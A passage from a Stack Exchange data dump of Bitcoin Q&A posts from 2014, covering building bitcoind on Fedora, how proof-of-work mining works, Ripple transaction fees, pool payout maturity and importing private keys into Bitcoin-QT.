  <row Id="30106" PostTypeId="2" ParentId="7940" CreationDate="2014-08-18T19:56:01.923" Score="0" Body="&lt;p&gt;Tested on Fedora 20, 64-bit:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo yum groupinstall -y &quot;Development Tools&quot; &quot;Development Libraries&quot;&#xA;$ sudo yum install -y gcc-c++ libtool swig pyqt4-devel python-psutil python-twisted wget protobuf-devel&#xA;$ wget -qO- 'http://download.oracle.com/berkeley-db/db-4.8.30.NC.tar.gz' | tar -xzv &amp;amp;&amp;amp; cd db*/build_unix&#xA;$ ../dist/configure --enable-cxx --disable-shared --with-pic --prefix=/usr/local/&#xA;$ make&#xA;$ sudo make install&#xA;$ cd; wget -qO- https://www.openssl.org/source/openssl-1.0.1i.tar.gz | tar -xzv &amp;amp;&amp;amp; cd o*&#xA;$ export CFLAGS=&quot;-fPIC&quot;; ./config --prefix=/usr/local shared enable-ec enable-ecdh enable-ecdsa&#xA;$ make depend &amp;amp;&amp;amp; make all&#xA;$ sudo make install&#xA;$ cd; git clone git://github.com/bitcoin/bitcoin.git; cd bitcoin&#xA;$ ./autogen.sh &amp;amp;&amp;amp; ./configure LDFLAGS=&quot;-Wl,-rpath=/usr/local/lib64 -L/usr/local/lib/ -L/usr/local/lib64/&quot; CPPFLAGS=&quot;-I/usr/local/include/&quot;&#xA;$ make&#xA;$ sudo make install&#xA;$ mkdir ~/.bitcoin; wget -O ~/.bitcoin/bitcoin.conf https://raw.githubusercontent.com/averageradical/compile/gh-pages/example/bitcoin.conf&#xA;$ bitcoin-qt # or nohup bitcoind &amp;amp;&#xA;$ bitcoin-cli help&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="19021" LastActivityDate="2014-08-18T19:56:01.923" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30107" PostTypeId="2" ParentId="12633" CreationDate="2014-08-18T20:34:18.647" Score="0" Body="&lt;p&gt;Here's what I used successfully on Fedora 20:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ sudo yum groupinstall -y &quot;Development Tools&quot; &quot;Development Libraries&quot;&#xA;$ sudo yum install -y gcc-c++ libtool swig pyqt4-devel python-psutil python-twisted wget protobuf-devel&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://bitcoin.stackexchange.com/a/30106/19021&quot;&gt;https://bitcoin.stackexchange.com/a/30106/19021&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="19021" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-08-18T20:34:18.647" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30108" PostTypeId="2" ParentId="30105" CreationDate="2014-08-18T21:33:14.460" Score="1" Body="&lt;p&gt;Flash crashes can and will occur in any market where technology (algos) determine trading.  Always tailed by real people panic selling (or panic buying).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Doesn't matter what market you are in.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There also the effect of futures trading (I know of a few futures/options houses that operate in the crypto-space).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is really nothing you can do.  Worrying about it now (while it is happing is pointless). But to give you an answer (at least for litecoin pricing pressures) newer ASICs miners are 'supposedly' creating too much liquidity.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;There are quotes from the old world of stock trading that ring true here (non-cited and paraphrased):&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;The market is designed to make as many people look as stupid as possible...&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Do you want to look like a fool before the crash or after the crash...&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Seems to apply pretty well to the new and shiny crypto-currency markets too.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But there is another quote that is pretty famous and great to light up those of us enveloped in the darkness of nasty market moves.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;&quot;Be fearful when others are greedy and greedy when others are fearful...&quot;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the thing, when everything is mined to the point that it is simply not feasible to continue and coins are lost over time then you will find yourself in a deflationary situation where all of a sudden your coins (bitcoins and litecoins) are hit with supply-side pricing movements to the up-side that will pale in comparison to anything you have seen before. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since we are about half-way there, I would recommend relaxing and watching the fireworks because the low-hanging fruit is being consumed.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, I would venture a guess that we will see this supply-side anomaly begin to take shape in early 2017.&lt;/p&gt;&#xA;" OwnerUserId="8999" LastActivityDate="2014-08-18T21:33:14.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30109" PostTypeId="1" CreationDate="2014-08-19T00:39:25.507" Score="1" ViewCount="6767" Body="&lt;p&gt;I am sick to death of people responding to my question with logistics of &quot;how to&quot; mine data or just that you are solving &quot;mathematical concepts&quot; and &quot;algorithms.&quot;  What I do understand is this - some &quot;organization&quot; seems to think it is worth A LOT of money to have the public data mine for them (i.e.: bit coin payments for solving data). My question is what is this data used for, who is using it, and why?  No one seems to know and anytime I've encountered a secret this well hidden, it usually is nefarious under the surface.  &lt;/p&gt;&#xA;" OwnerUserId="19022" LastEditorUserId="5406" LastEditDate="2016-02-08T12:59:25.763" LastActivityDate="2017-12-17T04:38:54.573" Title="Who are you solving algorithms for and why?" Tags="|proof-of-work|mining-theory|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="30110" PostTypeId="2" ParentId="30109" CreationDate="2014-08-19T01:02:32.880" Score="7" Body="&lt;p&gt;The algorithm of choice is two rounds of SHA256, which has completely arbitrary outputs and a massively unsearchable output space. To this end, there is no data mining or valuable calculation actually being done. Here's what's really happening:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Every so often, the rules of the Bitcoin protocol set a difficulty number. This number sets a sort of target for a value miners are looking for. Since the output of SHA256 is essentially random with respect to its input, miners are all just looking for some random value in a given field that makes SHA256(SHA256(x)) return a value within a specified range. Such a value is considered a &quot;solution&quot; to the mining problem, but really it's less like math and more like throwing darts while blindfolded until you hit the bullseye. The changing difficulty number ensures that block solutions will be found at regular intervals no matter how many people are mining.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This solution does not hold any valuable data or information of any kind, except that it proves that someone somewhere had to have done a lot of work to find a value that produced the desired output. This also means that for someone else to fake that data they would also have to do a lot of work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Since each block of data references the block before it, these hashes - and the work it took to create them - also stack up, meaning that older data would require a TREMENDOUS amount of computational power to falsify, since you'd also have to falsify every block that came after it, faster than the entire network combined is solving new blocks. This is the entire underlying security mechanism of Bitcoin: Data in the Blockchain represents a consensus and this is the way a network of people with no other trust mechanism reach a consensus.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is likely why you've had such a hard time finding an answer to your question: There isn't anyone you're solving algorithms for and the only &quot;why&quot; is &quot;because it's hard work, and fraudsters would have to do more hard work than everyone else combined to lie to the network.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Finally, as to the &quot;someone thinks this is worth a lot of money&quot; - there are two sources of mining income. The first is transaction fees paid by those whose transactions are in the mined blocks, which seems pretty reasonable given that the miners' work is the only reason that data will be trustable. The second is the block reward.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the more difficult problems to solve when decentralizing a currency is deciding who gets the initial run of the stuff. In this case, it was decided that the miners who are doing valuable work to secure the network should receive that initial issuance, in the form of a &quot;block reward.&quot; Every so often this reward is cut in half and eventually it rounds down to zero. At that point all 21 million bitcoins that will ever exist will have been mined and the only reward miners will continue to receive is the transaction fee.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="22" LastEditDate="2014-08-19T01:13:11.120" LastActivityDate="2014-08-19T01:13:11.120" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30111" PostTypeId="1" CreationDate="2014-08-19T01:32:00.447" Score="3" ViewCount="1333" Body="&lt;p&gt;I want to be informed of transactions of my Bitcoin address on the Windows and the Android app. Can I use the same Bitcoin address on both? If yes, how can I backup the address on Windows and restore it on Android?&lt;/p&gt;&#xA;" OwnerUserId="19024" LastEditorUserId="5406" LastEditDate="2014-08-29T06:10:10.760" LastActivityDate="2015-11-21T14:23:43.137" Title="How can I watch an address on Windows and Android?" Tags="|wallet|wallet.dat|android|watch-only|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="30112" PostTypeId="2" ParentId="30102" CreationDate="2014-08-19T03:36:26.780" Score="0" Body="&lt;p&gt;If REDD &amp;amp; RED are using the same set of public keys (ie each public key address is valid for both coins' Blockchains) then the &lt;strong&gt;only way&lt;/strong&gt; to retrieve coins from a public address is if:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You owns the private key&lt;/li&gt;&#xA;&lt;li&gt;Someone else (eg Cryptsy) owns the private key&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Since 1 is false, you'd need to hope 2 is true. The odds of Cryptsy having a subset of REDD keys overlapping RED keys is as likely as creating a Bitcoin address and finding coins in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Sorry, your coins are gone.&lt;/p&gt;&#xA;" OwnerUserId="9382" LastActivityDate="2014-08-19T03:36:26.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30114" PostTypeId="2" ParentId="20999" CreationDate="2014-08-19T10:32:32.267" Score="0" Body="&lt;p&gt;from: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=227252.msg6843676;topicseen#msg6843676&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=227252.msg6843676;topicseen#msg6843676&lt;/a&gt; (your link, new post)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;cd CopperLarkSrc&#xA;chmod +x src/leveldb/build_detect_platform&#xA;rm src/leveldb/leveldb.a&#xA;rm src/leveldb/libmemenv.a&#xA;qmake&#xA;make&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="16984" LastActivityDate="2014-08-19T10:32:32.267" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30115" PostTypeId="1" AcceptedAnswerId="30119" CreationDate="2014-08-19T10:58:00.137" Score="-1" ViewCount="2786" Body="&lt;p&gt;If I place an offer (say BUY 1.0 BTC, SELL 450 USD), how do I know what my expected transaction fees are?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is the transaction fee applied to the offer, or is the transaction fee applied to each execution/payment that fills the offer?  If its applied per execution/payment, it seems like the associated fees could be extremely large if somehow I ended up with a billion executions/payments (through no fault of my own).&lt;/p&gt;&#xA;" OwnerUserId="5553" LastActivityDate="2014-08-19T15:20:22.337" Title="how can you calculate the total XRP transaction fees for an offer?" Tags="|ripple|ripple-transaction-fees|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30116" PostTypeId="2" ParentId="22356" CreationDate="2014-08-19T12:16:01.583" Score="0" Body="&lt;p&gt;You will need to have some accepted shares before any stats etc. will show.&lt;/p&gt;&#xA;" OwnerUserId="19028" LastActivityDate="2014-08-19T12:16:01.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30117" PostTypeId="2" ParentId="21680" CreationDate="2014-08-19T14:01:01.823" Score="2" Body="&lt;p&gt;I've been looking at this question too.   It is my understanding that a bitcoin transaction is not &quot;encrypted&quot; . The information is not obscured in any way, and can be transmitted publicly without breaking the security. You are simply transmitting a &quot;hash&quot; of the transaction, or signature. Nothing has to be decrypted to be read. You simply verify the signature to see if it is a valid transaction. It's not a big deal for everyone to see the transaction itself. They will anyway once it's in the blockchain.  My best guess is this would not break the obscurity rule in the US.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The rule I think that might be in play is not using amateur radio for commercial purposes. Buying an item through packet radio would most likely trigger this limitation.  What I wonder, though, is if maybe it could be used to send some sort of humanitarian aid, for instance if one person with bitcoins does not have Internet access, and wishes to send money to someone who does, via radio.  I can't think of a way a person could 'receive' bitcoin without being connected to the Internet   (since receiving is really only recording the transaction in the blockchain) &lt;/p&gt;&#xA;" OwnerUserId="19030" LastActivityDate="2014-08-19T14:01:01.823" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30118" PostTypeId="1" CreationDate="2014-08-19T15:18:00.927" Score="3" ViewCount="113" Body="&lt;p&gt;Let's say I have 50 addresses which have an average of 0.5 BTC. Some have two or three times the average balance, while others have less than 0.1% of the average. Many times per day an address is selected to either receive or send some amount of coins, fueling the inequality.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;What's an efficient, cost-effective method of rebalancing a large number of addresses such that each contains roughly the average balance?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Assume the algorithm to select a keypair with which to transact is fixed and cannot be modified for argument sake.)&lt;/p&gt;&#xA;" OwnerUserId="14132" LastActivityDate="2014-08-27T17:07:54.583" Title="What's an efficient model for redistribution of coins between wallets?" Tags="|transactions|balance|" AnswerCount="2" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30119" PostTypeId="2" ParentId="30115" CreationDate="2014-08-19T15:20:22.337" Score="1" Body="&lt;p&gt;The &lt;a href=&quot;https://ripple.com/wiki/Transaction_fee&quot; rel=&quot;nofollow&quot;&gt;transaction fee&lt;/a&gt; is specified by the signed transaction itself and is consumed when the transaction is first processed, regardless of the transaction type or amount or its success or failure. For example, an offer than is later cancelled takes one transaction fee to place the offer and another to later cancel it and a properly specified payment transaction that fails (lack of funds, lack of destination trust lines, paths dry, etc, etc) still charges the transaction fee. Only transactions that are outright dropped by the server (e.g. badly formatted, invalid in some way, fee too low, etc) return a local server error and do not charge the fee.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The nominal transaction fee is 0.000010 XRP (10 drops) but this is dynamically increased when the server(s) are under load.&#xA;It's up to the client to set a sane amount based on the amount the server(s) are currently requesting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, a client could set the fee to the current amount and re-try with a higher fee if it fails, it could set a slightly higher fee than requested to prevent such retries if the fees are changing. It could have a configurable or hard coded maximum beyond which it stops and asks the user if they want to proceed with the high fee or try again later.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Completely unrelated are &lt;a href=&quot;https://ripple.com/wiki/Transit_Fees&quot; rel=&quot;nofollow&quot;&gt;transit fees&lt;/a&gt; that an issuer may have set.&lt;/p&gt;&#xA;" OwnerUserId="3364" LastActivityDate="2014-08-19T15:20:22.337" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30120" PostTypeId="1" CreationDate="2014-08-19T16:57:44.657" Score="0" ViewCount="182" Body="&lt;p&gt;looking for asic-proof alt-coins, I found one called EXE coin. however, it requires their version of the miner and it says standard miners won't work. firefox/waterfox claims the binary is infected. should I be looking for a different asic-proof alt coin or is that a false positive?&lt;/p&gt;&#xA;" OwnerUserId="19032" LastEditorUserId="5406" LastEditDate="2016-04-25T18:01:27.377" LastActivityDate="2016-04-25T18:01:27.377" Title="altcoin execoin miner is infected?" Tags="|altcoin|mining-software|virus|malware|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30121" PostTypeId="2" ParentId="2979" CreationDate="2014-08-19T21:21:38.307" Score="2" Body="&lt;p&gt;I had a similar problem, but the &lt;strong&gt;&lt;em&gt;-rescan&lt;/em&gt;&lt;/strong&gt; option didn’t help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In my case, there were a lot of lines referring to orphan blocks in my &lt;em&gt;debug.log&lt;/em&gt; file (not 100 % sure it’s related but it may):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;2014-08-18 20:52:57 ProcessBlock: ORPHAN BLOCK 0, prev=00000000000000001132f6ac32387e51960e3154b2ad4420bdeb64d77999388f&#xA;2014-08-18 20:54:00 ProcessBlock: ORPHAN BLOCK 1, prev=00000000000000000e9926124cabed78be0ae8bab22fb20acc643e94749120f8&#xA;2014-08-18 20:56:37 ProcessBlock: ORPHAN BLOCK 2, prev=00000000000000001b3f790fc107051c17702d305b08a3ae6325f40ecf44eae9&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Finally, I tried to restart the client with the &lt;strong&gt;&lt;em&gt;-reindex&lt;/em&gt;&lt;/strong&gt; option which fixed my problem (but took 100 % of my CPU usage for several hours while reprocessing the blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if the rescan option don’t work, don’t give up, try the reindex option!&lt;/p&gt;&#xA;" OwnerUserId="10084" LastEditorUserId="5406" LastEditDate="2014-09-05T12:45:30.920" LastActivityDate="2014-09-05T12:45:30.920" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30123" PostTypeId="2" ParentId="30109" CreationDate="2014-08-19T23:03:03.870" Score="0" Body="&lt;p&gt;The fact that all those hash computations (and the electricity burned in them!) serve no other useful purpose than securing the Bitcoin network is well-known, it's actually one of main criticisms of this crypto-currency (and its derivatives who use the same concept of proof-of-work).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.nytimes.com/2013/12/23/opinion/krugman-bits-and-barbarism.html?ref=opinion&quot; rel=&quot;nofollow&quot;&gt;Paul Krugman&lt;/a&gt;has decried it, &lt;a href=&quot;http://www.bloomberg.com/news/2013-04-12/virtual-bitcoin-mining-is-a-real-world-environmental-disaster.html&quot; rel=&quot;nofollow&quot;&gt;ecologists&lt;/a&gt; have decried it, &lt;a href=&quot;http://vielmetti.typepad.com/vacuum/2013/04/bitcoin-conspicuous-consumption-and-conspicuous-waste.html&quot; rel=&quot;nofollow&quot;&gt;others&lt;/a&gt; have decried it as well. So far, only miners of &lt;a href=&quot;http://primecoin.io/about.php#value-xpm&quot; rel=&quot;nofollow&quot;&gt;Primecoin&lt;/a&gt; (and its derivatives) do work with actual value outside securing the network (i.e. finding long chains of prime numbers). Now you can go doubly paranoid trying to find whom you're finding long prime chains for, and for what nefarious purpose... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(Actually, this research benefits the NSA, CIA, MOSSAD, DGSE et al. just as much as your college's math department).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There are some coins coming, such as &lt;a href=&quot;http://research.microsoft.com/apps/pubs/default.aspx?id=217984&quot; rel=&quot;nofollow&quot;&gt;Permacoin&lt;/a&gt; and &lt;a href=&quot;http://www.safecoin.io/&quot; rel=&quot;nofollow&quot;&gt;Maidsafecoin&lt;/a&gt;, which actually reward you for storing data - thereby converting your harddrive into part of a distributed, redundant cloud storage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Triple conspiranoid points if you can guess whose information you're preserving, and what it may be: Wikipedia backups? Unauthorized government leaks? Info. gathered by Big Brother from unsuspecting innocent citizens? Detailed terrorist plans? Bomb designs? Child porn? 3D-printable guns? All of the above???&lt;/p&gt;&#xA;" OwnerUserId="4748" LastActivityDate="2014-08-19T23:03:03.870" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30124" PostTypeId="2" ParentId="17812" CreationDate="2014-08-20T01:54:09.173" Score="2" Body="&lt;p&gt;ktorn has a good answer for all practical purposes, especially at this point where solo-mining is a laughable proposition, but here is a more theoretical answer, which could be practical for alt-coins where there is weak network hashing power and/or the difficulty is not very high (because blocks are targeted to be generated &lt;a href=&quot;https://www.altcoincalendar.info/coins/381-SPC&quot; rel=&quot;nofollow&quot;&gt;every 30 seconds or so&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All you need to mine a block is the hash of the block before it, and any transactions you want transaction fees from. You could then hash offline.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This would need to be done without a pool: your object is to find a block, not just shares that you must submit often. You'd only have to broadcast a block when you found one, and even then you would have a little time on average to connect to the internet to broadcast your block*&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could connect whenever you wanted to pick up more transaction fees or check if the next block had been discovered yet. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is important to understand is that work is not accomplished &quot;toward&quot; discovering a block, you are just playing an extremely-low-probability lottery billions of times per second. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any work you are doing off of a block that is not the most recently discovered block is a complete waste, however, so you would have to connect fairly often just to avoid wasting a lot of hashing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The expected value of your discovered block is reduced to &lt;code&gt;{block reward} * p(network finds a block in {average time you take to broadcast})&lt;/code&gt;, and your hashing itself has an expectation of &lt;code&gt;{your hash rate * p(the network has discovered a block since you last connected)}/{network hash rate}&lt;/code&gt;&#xA;and p(the network has discovered a block since you last connected) is approximately &lt;code&gt;{time since last connection}/{10 minutes}&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;...it's actually a Poisson process but we won't get into that...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The bottom line is that &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Every moment you are disconnected you are lowering the expected value of your next hash, because there is a chance that someone discovered a block and broadcasted it since you were last connected.&lt;/strong&gt;&lt;/p&gt;&#xA;" OwnerUserId="7144" LastActivityDate="2014-08-20T01:54:09.173" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30125" PostTypeId="1" AcceptedAnswerId="30132" CreationDate="2014-08-20T05:20:35.950" Score="2" ViewCount="166" Body="&lt;p&gt;I have created a few multisig addresses, and just tried to create a 2 of 3 address, but it returned with the 'AddCScript() failed' error.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the maximum number of m-sig addresses and where is this in the code? I'd like to know how to expand the limit for a test.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2014-08-20T19:16:55.627" Title="What is the maximum number of multisigaddresses you can create?" Tags="|transactions|raw-transaction|multi-signature|" AnswerCount="1" CommentCount="3" ClosedDate="2014-08-21T12:27:52.587" ContentLicense="CC BY-SA 3.0" />
  <row Id="30128" PostTypeId="2" ParentId="30102" CreationDate="2014-08-20T08:11:33.940" Score="2" Body="&lt;p&gt;You have the first part right. REDD and RDD use the same pub/priv encoding scheme. Therefore we can simply export the privkey of his RED deposit address and import it into the REDD wallet. Then rescan. This does take time and we are working on ways to automate this. (It happens quite often ) -Mullick &quot;Technical Support Manager&quot; &lt;/p&gt;&#xA;" OwnerUserId="19036" LastActivityDate="2014-08-20T08:11:33.940" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="30130" PostTypeId="1" AcceptedAnswerId="30131" CreationDate="2014-08-20T11:11:13.953" Score="2" ViewCount="82" Body="&lt;p&gt;I found some advices about anonymity, however one sentence is unclear for me&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The quote comes from &lt;a href=&quot;https://en.bitcoin.it/wiki/Anonymity&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Anonymity&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The protection that this method offers is significantly reduced if you are trying to anonymize more than about 10% of the total number of Bitcoins that the eWallet service holds. &lt;strong&gt;You'll end up getting your own coins back instead of other users' coins&lt;/strong&gt;. Withdrawing Bitcoins more slowly and in smaller increments will help reduce this problem. Sending coins to an eWallet service in the largest single transfer possible will also help.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I don't get idea of &quot;your own coins&quot; - as far as I know there is no &quot;coin&quot; as an identifiable whole, just a log of transactions which balances as ones &quot;bitcoins amount&quot;. What was the author intent to express by this sentence?&lt;/p&gt;&#xA;" OwnerUserId="19037" LastEditorUserId="19037" LastEditDate="2014-08-20T12:37:49.710" LastActivityDate="2014-08-20T12:37:49.710" Title="Other users' coins instead my own?" Tags="|privacy|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30131" PostTypeId="2" ParentId="30130" CreationDate="2014-08-20T11:58:53.383" Score="4" Body="&lt;p&gt;Yes, you are right. There are no &quot;coins&quot;. There is only an ability to write some data (transactions) into one global file (blockchain).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it is possible sometimes to track who is an author of transaction. For example, I am buying something in online shop (with delivery) and paying bitcoins for it. Now the shop knows my name and my address (for postage). The spending transaction has a &quot;change address&quot;. If I use the same address for change - the shop owner would also know (with some probability) the amount of bitcoins in my wallet! Some people may think that this is not good, especially if they have large amount of funds.&lt;/p&gt;&#xA;" OwnerUserId="12983" LastActivityDate="2014-08-20T11:58:53.383" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30132" PostTypeId="2" ParentId="30125" CreationDate="2014-08-20T19:16:55.627" Score="0" Body="&lt;p&gt;I realized what happened, the wallet was a massive size and the Write() function was failing.&lt;/p&gt;&#xA;" OwnerUserId="10229" LastActivityDate="2014-08-20T19:16:55.627" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="30133" PostTypeId="1" AcceptedAnswerId="30134" CreationDate="2014-08-21T05:34:51.580" Score="1" ViewCount="914" Body="&lt;p&gt;When I mine in pools there are unconfirmed coins, but it seems unconfirmed times are far less than immature status in *coind wallet app... Any advice how I can get my coins quicker instead of waiting for 100 blocks to pass?&lt;/p&gt;&#xA;" OwnerUserId="19045" LastActivityDate="2014-08-21T07:35:31.767" Title="solo mining payout maturity vs pool mining" Tags="|transactions|" AnswerCount="1" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="30134" PostTypeId="2" ParentId="30133" CreationDate="2014-08-21T07:35:31.767" Score="1" Body="&lt;p&gt;I'm still not completely sure that I am understanding your question correctly, but let me take a guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As you know, when a block is first mined, the coins from its block reward are considered &quot;immature&quot;.  They may not be spent until 100 blocks later, or in other words, until the coinbase transaction has 100 confirmations.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now, there are a couple of ways a pool can make payouts to its miners.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;When creating the block template for mining, include a coinbase transaction that pays appropriate amounts to all pool members who are due to receive payouts.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Include a coinbase transaction that pays its coins directly to a wallet controlled by the pool operator.  The operator then makes additional transactions for payments from that wallet (or another wallet he controls) to the pool members.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;For a pool that uses method 1, members will receive payouts that are immature, and they will have to wait 100 blocks to spend them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a pool that uses method 2, if the pool operator has a sufficient balance in his wallet, he can make the payouts right away by using coins that have been in the wallet for a long time already, long enough that they have become mature.  In this case, the payouts are ordinary transactions; they confirm like any other, and the miner can spend them immediately (or perhaps after 1 confirmation, depending on the requirements imposed by her wallet software).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Method 2 is certainly more convenient for the miner members if all goes well, but it has some other problems.  In order to maintain a sufficient balance, the pool operator has to keep some of his own coins in the wallet at all times.  These coins are then tied up there, which may be inconvenient or costly for the operator.  Also, if the block reward is paid directly to the operator's wallet, there is a chance he will decide not to make the payout to members, but instead will keep the coins himself.  &lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-08-21T07:35:31.767" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="30135" PostTypeId="2" ParentId="30104" CreationDate="2014-08-21T08:18:24.067" Score="1" Body="&lt;p&gt;The way I go about it is as follows:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Login to Blockchain.info and choose &lt;strong&gt;export&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Export data as &lt;strong&gt;BITCOIN QT&lt;/strong&gt;&lt;/li&gt;&#xA;&lt;li&gt;Note the private key in the form &lt;em&gt;5Hxxxx&lt;/em&gt; or &lt;em&gt;5Kxxxx&lt;/em&gt; or &lt;em&gt;5Lxxxxx&lt;/em&gt;. Copy and paste this string (or hand write it to be safer; it's case sensitive and has no 0/O, l/I)&lt;/li&gt;&#xA;&lt;li&gt;Open Bitcoin QT; click &lt;em&gt;help&gt;Console&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Type &lt;em&gt;importprivkey&lt;/em&gt; &lt;em&gt;PRIVKEY&lt;/em&gt; &lt;em&gt;NAME&lt;/em&gt; where &lt;em&gt;PRIVKEY&lt;/em&gt; is what was copied and pasted and name is the name for the address eg &lt;em&gt;MAIN1&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;If wallet.dat is encrypted you'll need to type: &lt;em&gt;walletpassphrase PASSWORD 180&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;em&gt;Be sure to encrypt your wallet again&lt;/em&gt;&lt;/li&gt;&#xA;&lt;li&gt;Move funds from Blockchain wallets to a new address in case you're concerned about malware monitoring copy/paste&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="9382" LastEditorUserId="9382" LastEditDate="2014-09-05T05:33:23.813" LastActivityDate="2014-09-05T05:33:23.813" CommentCount="3" ContentLicense="CC 